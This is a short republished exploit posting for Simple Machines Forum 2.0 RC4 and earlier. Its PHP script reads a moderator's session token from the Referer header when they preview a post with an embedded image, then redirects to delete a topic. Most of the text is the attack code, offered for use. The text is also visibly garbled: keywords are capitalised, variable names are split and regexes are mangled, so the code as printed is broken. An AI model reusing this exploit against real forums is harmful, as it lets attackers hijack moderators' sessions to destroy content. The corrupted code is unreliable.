Simple Machines Forum & amp; lt; = 2.0 RC4 Sesc thef

# Exploit Title: Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF)
# Author: Xianur0
# Author Mail: xianur0.null [at] gmail.com
# Software Link: http://www.simplemachines.org

Exploit Code:

[Img] http://www.bkjia.com/exploit.php#/img]

Now need to someone with permissions to cite or edit a message (having the preview turned on): P

Exploit. php:

<? Php
// By Xianur0
$ Imagen = "real-image.jpg ";
Error_reporting (0 );
Function delete ($ path, $ topic, $ sesc ){
If (! Preg_match ("/index. php $/", $ path) $ path = preg_replace (" // ([^/] +) $/","/", $ path );

Header ("Location:". $ path ."? Action = removetopic2; topic = ". $ topic."; sesc = ". $ sesc, TRUE, 302 );
}

Function mostrarimagen ($ imagen ){
Header ("Content-Type: image/jpeg ");
Print file_get_contents ($ imagen );

}

If (isset ($ _ SERVER [HTTP_REFERER]) &! Empty ($ _ SERVER [HTTP_REFERER]) & preg_match ("/sesc = (. {32})/I ", $ _ SERVER [HTTP_REFERER], $ matches) & preg_match ("/topic = ([^;] +)/I ", $ _ SERVER [HTTP_REFERER], $ matchess) & preg_match ("/^ ([^?] +)/I ", $ _ SERVER [HTTP_REFERER], $ matchesss )){

$ Sesc = $ matches [1];
$ Topic = $ matchess [1];
$ Path = $ matchesss [1];
Delete ($ path, $ topic, $ sesc );
Exit;
}
Mostrarimagen ($ imagen );
?>